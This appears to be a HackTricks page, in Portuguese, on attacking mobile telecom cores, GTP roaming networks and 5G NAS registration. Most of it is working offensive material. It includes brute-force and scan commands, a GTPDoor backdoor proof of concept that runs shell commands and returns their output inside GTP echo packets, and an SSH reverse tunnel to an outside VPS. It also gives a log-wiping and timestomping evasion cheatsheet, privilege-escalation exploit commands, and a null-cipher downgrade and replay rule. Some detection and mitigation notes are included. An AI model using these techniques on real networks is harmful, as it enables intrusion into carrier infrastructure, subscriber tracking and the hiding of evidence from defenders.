12 KiB
Raw Blame History

Exploração de Redes de Telecom (GTP / Ambientes de Roaming)

{{#include ../../banners/hacktricks-training.md}}

Note

Os protocolos do core móvel (GPRS Tunnelling Protocol GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como trafegam sobre UDP simples com quase nenhuma autenticação, qualquer foothold dentro do perímetro de uma telecom geralmente pode atingir diretamente os planos de sinalização core. As notas a seguir reúnem truques ofensivos observados na natureza contra SGSN/GGSN, PGW/SGW e outros nós EPC.

1. Recon & Acesso Inicial

1.1 Contas OSS / NE Padrão

Um conjunto surpreendentemente grande de elementos de rede de fornecedores é entregue com usuários SSH/Telnet codificados, como root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Uma wordlist dedicada aumenta dramaticamente o sucesso de brute-force:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Se o dispositivo expõe apenas uma management VRF, pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).

1.2 Descoberta de Hosts dentro do GRX/IPX

A maioria dos operadores GRX ainda permite ICMP echo através do backbone. Combine masscan com as probes UDP gtpv1 integradas para mapear rapidamente os listeners GTP-C:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumeração de Assinantes cordscan

A ferramenta em Go a seguir cria pacotes GTP-C Create PDP Context Request e registra as respostas. Cada resposta revela o atual SGSN / MME que está servindo o IMSI consultado e, às vezes, o PLMN visitado pelo assinante.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Principais flags:

  • --imsi IMSI do assinante alvo
  • --oper Home / HNI (MCC+MNC)
  • -w Grava pacotes brutos em pcap

Constantes importantes dentro do binário podem ser alteradas para ampliar as varreduras:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Execução de código sobre GTP GTPDoor

GTPDoor é um pequeno serviço ELF que associa-se ao UDP 2123 e analisa cada pacote GTP-C recebido. Quando o payload começa com uma pre-shared tag, o restante é descriptografado (AES-128-CBC) e executado via /bin/sh -c. O stdout/stderr são exfiltrados dentro de mensagens Echo Response, de modo que nenhuma sessão de saída é criada.

Pacote PoC mínimo (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detecção:

  • qualquer host enviando unbalanced Echo Requests para IPs do SGSN
  • GTP version flag set to 1 while message type = 1 (Echo) desvio da especificação

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN inclui um emulador de SGSN capaz de estabelecer um PDP context towards a real GGSN/PGW. Uma vez negociado, o Linux recebe uma nova interface tun0 acessível a partir do roaming peer.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Com o firewall hair-pinning adequado, este túnel contorna VLANs somente de sinalização e coloca você diretamente no plano de dados.

4.2 SSH Reverse Tunnel over Port 53

O DNS está quase sempre aberto em infraestruturas de roaming. Exponha um serviço SSH interno no seu VPS escutando na :53 e retorne mais tarde de casa:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Verifique se GatewayPorts yes está ativado no VPS.

5. Canais Clandestinos

Canal Transporte Decodificação Notas
ICMP EchoBackdoor ICMP Echo Req/Rep 4-byte key + 14-byte chunks (XOR) listener passivo puro, sem tráfego de saída
DNS NoDepDNS UDP 53 XOR (key = funnyAndHappy) encoded in A-record octets observa o subdomínio *.nodep
GTP GTPDoor UDP 2123 AES-128-CBC blob in private IE mistura-se com o chatter legítimo de GTP

Todos os implants implementam watchdogs que timestomp seus binaries e re-spawn se travarem.

6. Cheatsheet de Evasão de Defesa

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation em Legacy NE

# DirtyCow  CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit  CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit  CVE-2021-3156
python3 exploit_userspec.py

Dica de limpeza:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Caixa de Ferramentas

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS custom tooling described in previous sections.
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

O procedimento de registration 5G corre sobre NAS (Non-Access Stratum) em cima de NGAP. Até que a segurança NAS seja ativada via Security Mode Command/Complete, mensagens iniciais não são autenticadas nem encriptadas. Essa janela pré-segurança possibilita múltiplos vetores de ataque quando você pode observar ou manipular o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou testbed).

Registration flow (simplified):

  • Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
  • Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
  • Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
  • PDU Session Establishment: IP/QoS setup.

Dicas para laboratório (non-RF):

  • Core: Open5GS default deployment é suficiente para reproduzir os fluxos.
  • UE: simulador ou UE de teste; decodifique usando Wireshark.
  • Ferramentas ativas: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Filtros úteis de exibição no Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Esperado: UE/USIM deve transmitir SUCI (SUPI encriptado com a public key da home-network). Encontrar um SUPI/IMSI em plaintext no Registration Request indica um defeito de privacidade que permite tracking persistente do assinante.

Como testar:

  • Capture a primeira mensagem NAS no InitialUEMessage e inspecione o Mobile Identity IE.
  • Checks rápidos no Wireshark:
  • It should decode as SUCI, not IMSI.
  • Filter examples: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci should exist; absence plus presence of imsi indicates leak.

O que coletar:

  • MCC/MNC/MSIN se expostos; log por UE e rastreie ao longo do tempo/locais.

Mitigação:

  • Forçar UEs/USIMs a usar apenas SUCI; alertar em qualquer IMSI/SUPI no NAS inicial.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Background:

  • UE anuncia EEA (encryption) e EIA (integrity) suportados no UE Security Capability IE do Registration Request.
  • Mapeamentos comuns: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 são algoritmos nulos.

Problema:

  • Como o Registration Request não é integrity protected, um atacante on-path pode limpar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks incorretamente permitem algoritmos nulos fora de serviços de emergência.

Passos ofensivos:

  • Interceptar InitialUEMessage e modificar o NAS UE Security Capability para anunciar apenas EEA0/EIA0.
  • Com Sni5Gect, hook a mensagem NAS e patch os capability bits antes de encaminhar.
  • Observar se o AMF aceita null ciphers/integrity e completa o Security Mode com EEA0/EIA0.

Verificação/visibilidade:

  • No Wireshark, confirme os algoritmos selecionados após Security Mode Command/Complete.
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigações (obrigatórias):

  • Configure AMF/policy para rejeitar EEA0/EIA0, exceto quando estritamente exigido (por exemplo, chamadas de emergência).
  • Prefira impor EEA2/EIA2 como mínimo; registre e alerte sobre qualquer contexto de segurança NAS que negocie algoritmos nulos.

9.3 Repetição da initial Registration Request (NAS pré-segurança)

Porque o NAS inicial não tem integridade nem frescor, a InitialUEMessage+Registration Request capturada pode ser repetida para o AMF.

PoC rule for 5GReplay to forward matching replays:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

O que observar:

  • Se o AMF aceita o replay e prossegue para Authentication; a falta de validação de freshness/context indica exposição.

Mitigações:

  • Aplicar proteção contra replay/vínculo de contexto no AMF; limitar taxa e correlacionar por-GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: iniciar um AMF/SMF/UPF para emular o core; observar N2 (NGAP) e NAS.
  • Wireshark: verificar as decodificações de NGAP/NAS; aplicar os filtros acima para isolar Registration.
  • 5GReplay: capturar uma registration, depois replay de mensagens NGAP + NAS específicas conforme a regra.
  • Sni5Gect: live sniff/modify/inject no plano de controle NAS para coagir algoritmos null ou perturbar sequências de authentication.

9.5 Defensive checklist

  • Inspecionar continuamente Registration Request em busca de SUPI/IMSI em texto puro; bloquear dispositivos/USIMs ofensores.
  • Rejeitar EEA0/EIA0 exceto para procedimentos de emergência estritamente definidos; exigir no mínimo EEA2/EIA2.
  • Detectar infraestrutura rogue ou mal configurada: gNB/AMF não autorizados, peers N2 inesperados.
  • Alertar sobre modos de segurança NAS que resultem em algoritmos null ou replays frequentes de InitialUEMessage.

Detection Ideas

  1. Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
  2. Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs.
  3. Frequent Echo Requests without corresponding Echo Responses might indicate GTPDoor beacons.
  4. High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
  5. 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal).
  6. 5G: NAS Security Mode negotiating EEA0/EIA0 outside emergency contexts.

References

{{#include ../../banners/hacktricks-training.md}}